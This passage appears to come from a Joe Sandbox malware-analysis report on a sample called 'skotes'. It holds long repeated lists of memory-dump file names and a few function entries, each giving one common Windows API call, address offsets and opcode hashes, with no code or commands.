Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: ea81cd92489d00754cd54f70b34a671aeed624ed216d9484400e16a3f696de3b
Instruction ID: ac11e89f7944f918dabaf67031d617a77e1854305425899fa6bcefbb54329ecf
Opcode Fuzzy Hash: ea81cd92489d00754cd54f70b34a671aeed624ed216d9484400e16a3f696de3b
Instruction Fuzzy Hash: 79D08C30BC0314F6F23003602C0BF2AAE20AB0BF02F35484073483F0D482E4300047AE

Function 00C38380 Relevance: 1.7, APIs: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00C38524

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: cb916edd5ecd263ef3b6664169bfbba12a24d9d99969b3f261d314fe97e4d908
Instruction ID: 25c55a49cc8879ae2ede6cc9a0daa189385345b1ef1421d8d6bd58a7e6d566c1
Opcode Fuzzy Hash: cb916edd5ecd263ef3b6664169bfbba12a24d9d99969b3f261d314fe97e4d908
Instruction Fuzzy Hash: B6512870D103589BEB24EB68CD857DDB774EB45314F5042A8F419A72C1DF349F888B91

Function 00C67124 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,00C6705B,?,?,00000000,00000000), ref: 00C67166

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: de1f06fbd6d02e454457e965eb12d643157944ce8cdffda11208d75275582dc9
Instruction ID: 720f42f78ad38e27fcb2369e6e4af41fa9156fedf5fe8493444552b0c070da4e
Opcode Fuzzy Hash: de1f06fbd6d02e454457e965eb12d643157944ce8cdffda11208d75275582dc9
Instruction Fuzzy Hash: 8D112A7290410DAFDB20DF95C980EDFB7BCAF09314F205663E526E6080EA30EB19CB61

Function 00C6AC53 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 00C6AC8D

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: ca7ec408ddc4240a3acf993689b9b2c18039050e3bac7d5f81298df05b6e76e9
Instruction ID: 2df564256c66919a1079b12179a555efd7b57729b1f30a7578244879da77d724
Opcode Fuzzy Hash: ca7ec408ddc4240a3acf993689b9b2c18039050e3bac7d5f81298df05b6e76e9
Instruction Fuzzy Hash: 36111871A0420AAFCB05DF58E94199E7BF4EF48304F044099F809AB251D631DE21DB65

Function 00C6D82F Relevance: 1.5, APIs: 1, Instructions: 40memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00C6A813,00000001,00000364,00000006,000000FF,?,00C4D3FC,C21C428B,?,00C47A8B,?), ref: 00C6D871

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
